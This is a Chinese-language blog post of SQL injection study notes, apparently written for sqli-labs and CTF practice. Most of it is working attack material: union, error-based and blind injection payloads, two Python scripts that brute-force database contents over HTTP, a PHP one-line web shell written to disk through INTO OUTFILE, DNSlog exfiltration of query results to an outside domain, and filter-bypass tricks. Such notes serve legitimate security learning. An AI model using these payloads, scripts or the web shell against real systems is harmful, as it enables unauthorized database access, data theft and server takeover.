首页 > 数据库 >sql注入总结

sql注入总结

时间:2024-12-22 17:45:53浏览次数:4  
标签:总结 database flag select sql id concat 注入

sql注入

一.什么是注入

所谓SQL注入,就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。通过构造一条精巧的语句,来查询到想要得到的信息。

二.常规注入步骤

1.判断注入点类型

提交and 1=1和and 1=2,如果两个都能正常显示则为字符型注入,如果1=2无法正常显示则为数字型注入

还有一种判断方法是使用2-1,看页面是否正常显示,数字型可以计算2-1所以会正常显示,字符型会报错(这种方法的优点是绕过对=号的检查)

确定是字符型后需要尝试闭合查询语句,例如),',",可以根据报错语句闭合,然后在最后加上#或--+注释掉之后的语句,正确的闭合方式表现为:加注释之前为错误界面,加注释符之后为正确页面

2.判断列数

二分法判断列数,?id=1 group by 5?id=1 order by 5,如果到某个数字恰好页面能正常显示,那么可以确定列数

3.union联合注入

根据2拿到的列数构造查询语句(注:把id改成0、-1)
?id=-1 union select 1,2,3--+
看回显的位置,按照查库-->表-->列的顺序找到数据
(1)查库:3 ->database()
(2)查表:3 ->(group_concat(table_name) from information_schema.tables where table_schema=database())
(3)查列:3 ->(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='users')
(4)查数据:3 ->(select group_concat(username,password) from users)

注:最好用括号把语句括起来,提升优先级

三.非常规注入

1.报错注入(适用于无回显,但是报错正常回显)

三大常见报错注入:floor(),extractValue(),updateXml()

(1)extractValue()函数
原本用法:select extractvalue(doc,'/book/author/surname') from xml从xml查询文件
利用方法:?id=1" and(select extractvalue(1,concat(0x7e,(select database()))))--+

1' and (select extractvalue(1,concat(0x7e,(select substring(group_concat(username,password),1,30) from users))))--+
substring函数可以实现截取

limit不能和group_concat一起用

0x7e是波浪号的16进制,把/换成~引起报错
doc可以任意写,不影响
注入时只需要将注入点替换为select查询语句(select执行的语句必须加括号)
注:这种方法最多同时显示32个字符,使用substring函数截取。substring(查询结果,从m显示,显示n个)

(2)updatexml()函数
原本用法:UPDATEXML(xml_target, xpath_expr, new_val)替换xml文档内容
利用方法:同上,更改path的第一个字符为~
其他两个参数无影响

?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+

(3)floor()函数
使用函数介绍:rand()生成一个0-1的小数,floor()小数向下取整,concat_ws()将括号内的数据用一个字段连接,as起别名,count():汇总统计数量,limit显示指定行数如limit 0,1从0行开始显示一行

select count(*),concat_ws('-',($注入点),floor(rand(0)*2)) as a from information_shcema.tables group by a;

报错原因:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复

2.bool盲注(适用于无回显,不报错,但是页面能反映出真假)

函数简介:ascii()转换字母为ascii码
原理:利用substr()截取字符串的每一个字符,转换成ascii码进行比较,如果对了则页面为true


这里使用了limit 0,1来保证每次只查询一个表的名字
改变substr()里的内容即可注入

可以看到,布尔盲注的人工查询效率很低,因此可以编写一个python脚本

import requests
import time

requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False
flag = 'You are in...' # 根据返回页面的特征值来判断是否注入成功,先改这里!
def getName(url):
    DBName = ''
    print("开始获取长度...")
    len = 0
    for l in range(1,99):
        time.sleep(0.06)
        payload = f"' and length((select database()))={l}--+" # 获取数据库名长度,可以更改为查表名长度,字段长度等
        res = conn.get(url=url+payload) # 发送请求
        if flag in res.content.decode("utf-8"): # 判断是否成功
            print("数据库名长度为:"+str(l))
            len = l
            break
    print("开始获取名...")
    for i in range(1, len+1):
        for j in range(33,127):
            time.sleep(0.06)
            payload = f"' and ascii(substr((select database()),{i},1))={j}--+" # 获取数据库名,可以更改为查表名,字段名等
            res = conn.get(url=url+payload)
            if flag in res.content.decode("utf-8"): # 判断是否成功
                DBName += chr(j)
                print(DBName)
                break
    return DBName

if __name__ == '__main__':
 url="http://127.0.0.1/sqli-labs/Less-5/?id=1" #目标url
 print(getName(url)) #调用函数

3.时间盲注(适用于页面无任何变化,页面响应时间不同)

本质上是通过时间判断布尔的真假
sleep()函数,休眠
if(1,2,3)函数,1为条件,当条件为真2执行,否则3执行
payload:?id=-1 || if(ascii(substr(查询语句,i,j))>100,sleep(0),sleep(3))

import requests
import time

url = "http://210.30.97.133:10168/login"
flag = ""
for i in range(1, 300):
    time.sleep(0.06)
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        payload = "1' and if(ascii(substr((database()),{i},1))>{mid},sleep(1),0)--+"
        temp = {"username": "admin", "password": payload}
        start_time = time.time()
        response = requests.post(url=url, data=temp)
        end_time = time.time()
        if end_time - start_time > 2:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    flag += chr(mid)
    print(flag)

print(flag)

这个脚本使用了二分法提高查找效率

4.文件上传

前提:在sql命令行中输入show variables like '%secure%',显示的secure_file_priv为空,则可以任意读写文件
一句话木马:<?php @eval($_POST['cmd']);?>
payload:union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "路径"#

select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

之后使用蚁剑连接

注意:路径的/要\\替换

5.dnslog注入

前提:读写权限打开
load_file()函数:参数为UNC路径 -> /servername/sharename/filename
payload:select load_file(//(注入点).192.0.0.1/123/1.txt)
使用https://dnslog.org/可以拿到dns域名,我们采用注入点.域名的方式可以在这两个网站拿到注入结果

注入点:select database().....

完整payload:?id=1 and (select load_file(concat("//",(注入点),".域名/ben.txt"))) #
使用concat防止双引号影响命令执行

6.报头注入

U-Agent注入

Referer注入

Cookie注入

?id=1' and extractValue(1,concat(0x7e,(database()))) and '

7.堆叠注入

主站ez_sql 过滤了select和.
?inject=1';show databases;#

?inject=1;show tables;#

?inject=1;show columns from `1919810931114514`;# 反单引号括住

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

向数据表插入自己的账户密码

查数据的时候由于不能用select

方法一:MySQL中查询语句handler:

  1. handler 【表名】 open; // 打开某个表
  2. handler 【表名】 read first || next; // 读取表里第一行或者下一行的数据
  3. handler 【表名】 close; // 关闭该表
handler `1919810931114514` open;
handler `1919810931114514` read first;
handler `1919810931114514` close;

方法二:

  1. PREPARE 【自定义名】 FROM 【自定义的SQL查询语句】;//生成
  2. EXECUTE 【自定义名】;//执行
  3. DEALLOCATE PREPARE 【自定义名】;//释放

由于select被过滤,concat绕过

PREPARE Hack_SQL from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;

或者ascii编码

PREPARE Hack_SQL from concat(char(115,101,108,101,99,116), ' * from `1919810931114514`');
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;#

方法三

由于前端提供查询的数据库为words,但是flag在数据库1919810931114514里。并且可以猜测后台的SQL查询语句为:select * from words where id=【你输入的id】

1.所以我们需要先将数据库words改成其它的数据库名
2.再把数据库1919810931114514改名为words
3.并且把(改名前)1919810931114514数据库的字段flag改名成id

payload

alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);

改完之后输入?inject=1’ or 1=1; 显示flag

array(1) {
  [0]=>
  string(42) "flag{590b74d2-2d4d-41f7-bb0e-137622e5043b}"
}

四.常见绕过

1.过滤注释符绕过

(1)# --+ %23 less23

(2)手动闭合
select * from users WHERE id='1' and 1=1'' LIMIT 0,1
1' and 1=1'闭合了后面的引号
?id=1')(' ->不能正常显示
?id=1') or ('1')(' ->因为1的存在正常显示
?id=1' order by 3 or '1'='1

2.and/or绕过 less25

(1)大小写绕过 anD
(2)复写过滤字段 anandd
(3)&&,|| 需要url编码

注意information里也有or

3.空格绕过less27

(1)"+"绕过
(2)%20 %0A %A0 %0C
(3)/**/ or /*/**/*/
(4)报错注入无空格 ->?id=1'||extractvalue(1,concat('$',(database())))||'1'='1

4.逗号过滤

join ... on ...

select u.e. from users u(起别名) join emails e on u.id=e.id;
等价于select u.,e. from users u(起别名) , emails e where u.id=e.id;

在判断完列数之后,union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c;
效果与union select * from 1,2,3相同

5.union select绕过less27

(1)大小写绕过
(2)复写绕过
(3)中间加/**/
(4)采用其他方法

6.宽字节绕过less32

addslashes()函数让我们的引号失去作用

要求:数据库GBK编码
我们写入%df能够和(%5c)组成一个gbk编码(%df%5c),对应一个汉字

数据库会忽略掉这个汉字,从而注入

7.注释绕过

/*xxx*/ 注释
/*!xxxx*/ xxx会执行
/*!90000xxxx*/ php高于9版本才执行(没有高于9的版本,不会执行)

union /*!90000xxxx*/ select 绕过
database(/*!90000xxxx*/) 绕过

五.tips

当语句报错或者页面无法正常显示时,检查

1.加括号

2.加分号

3.数字打头的字段要加反引号

4.改变id=0/-1/2/3......

六、奇技淫巧

使用benchmark(500000,md5('test')进行延时

id=1'/**/or/**/if(2>1,(select/**/benchmark(500000,md5('test'))),1)='1

"id":f"0'/**/or/**/if(ascii(substr((select/**/group_concat(a)/**/from/**/(select/**/(1)a/**/union/**/select/**/*/**/from/**/ctftraining.flag)d),{i},1))>{mid},(select/**/benchmark(500000,md5('test'))),0)='1"
#不用查列名了!
       "id":f"1'/**/or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='ctftraining'),{i},1))>{mid},(select/**/benchmark(500000,md5('test'))),0)='1"

    "id":f"1'/**/or/**/if(ascii(substr((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{i},1))>{mid},(select/**/benchmark(500000,md5('test'))),0)='1"

select (1) a的意思是从数据库中选择一个常量值 1,并将其命名为 a。执行这个查询后,结果集将包含一列,列名为 a,且该列的值为 1

堆叠注入原理利用

[SUBCTF 2019] EasySQL

查询的语句

select $_POST['query']||flag from Flag;

||起的作用是或,有1为1,但是flag是字符串相当于0

传入payload:select *,1||flag from Flag;

让||的作用被1抵消即可(任何数字均可)

第二种解法:

sql_mode中的PIPES_AS_CONCAT:

将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

sql中的set可以更改这一变量

1;set sql_mode=PIPES_AS_CONCAT;select 1

select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag

||变成拼接作用返回flag

https://blog.csdn.net/JesseYoung/article/details/40779631

https://www.cnblogs.com/clschao/articles/9962347.html

标签:总结,database,flag,select,sql,id,concat,注入
From: https://www.cnblogs.com/dyinglight/p/18622317

相关文章

  • 阅读《认知觉醒》第一章的第三节感悟和总结
    作者提到,人类的天性是追求即时满足,缺乏耐心。我们容易被原始大脑和情绪大脑控制,习惯待在舒适区。因此,若我们希望掌握认知规律,就需要理解“耐心的倍增器”这一概念。复利曲线是一个理性的工具——它揭示了成长的本质:初期的增长缓慢,但当达到某个拐点后,增长会加速飞跃。这一规律强调......
  • 第七届传智杯初赛+重现赛总结
    重现赛题目网站:(2条未读私信)牛客竞赛_ACM/NOI/CSP/CCPC/ICPC算法编程高难度练习赛_牛客竞赛OJ1.吃糖果(B组、C组)#include<bits/stdc++.h>#defineintlonglongusingnamespacestd;intn,k,count1=0,sum1=0;inta[200010];signedmain(){ cin>>n>>k; for(inti=......
  • 24浮动案例练习-布局方案总结
    一、浮动案例三float的兼容性是大于flex布局的,然后flex大于grid布局一般的公司都不实用浮动了,大公司一般会使用浮动<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-......
  • 20241313 刘鸣宇 《计算机基础与程序设计》第13周学习总结
    作业信息这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标<写上具体方面>作业正文...本博客链接教材学习内容总结《C语言程序设计......
  • 2024-2025-1 20241300《计算机基础与程序设计》第十三周学习总结
    作业信息这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第十三周作业)这个作业的目标无作业正文...本博客链接教材学习内容总结结构体(Struct)概念结构体......
  • 游戏测试·工作中性能测试总结
    目录一、前言二、测试基础三.卡顿问题定位四.性能问题定位流程五.常用优化方法六.兼容性问题和预想结果七.内存详细数据类型八.3D美术优化渲染技术汇总:https://blog.csdn.net/poem_qianmo/article/details/78309500一、前言        性能优化是游戏开发......
  • MySQL——DQL查询(最重要,最常用) 多表设计
    数据库开发-MySQL在上次学习的内容中,我们讲解了:使用DDL语句来操作数据库以及表结构(数据库设计)使用DML语句来完成数据库中数据的增、删、改操作(数据库操作)我们今天还是继续学习数据库操作方面的内容:查询(DQL语句)。查询操作我们分为两部分学习:DQL语句-单表操作DQL语句-多表......
  • MySQL 数据库优化:分区、分表与索引创建
    MySQL数据库优化:分区、分表与索引创建目录概述MySQL分区(Partitioning)2.1什么是分区?2.2使用场景2.3分区类型2.4分区维护2.5示例:创建分区表MySQL分表(Sharding)3.1什么是分表?3.2使用场景3.3分片键选择3.4示例:手动分表3.5分表的挑战MySQL索引创建4.1什么是......
  • MySQL 主备部署与主库读写分离
    MySQL主备部署与主库读写分离目录概述环境准备主备同步配置主服务器(Master)配置备服务器(Slave)配置主库读写分离常见问题与解决方法总结概述MySQL是一个广泛使用的开源关系型数据库管理系统。为了提高系统的可用性和数据的安全性,通常会采用主备(Master-Slave)架构来部......
  • 【MySQL】--- 数据类型
     Welcometo9ilk'sCodeWorld    (๑•́₃•̀๑) 个人主页:    9ilk(๑•́₃•̀๑) 文章专栏:  MySQL  ......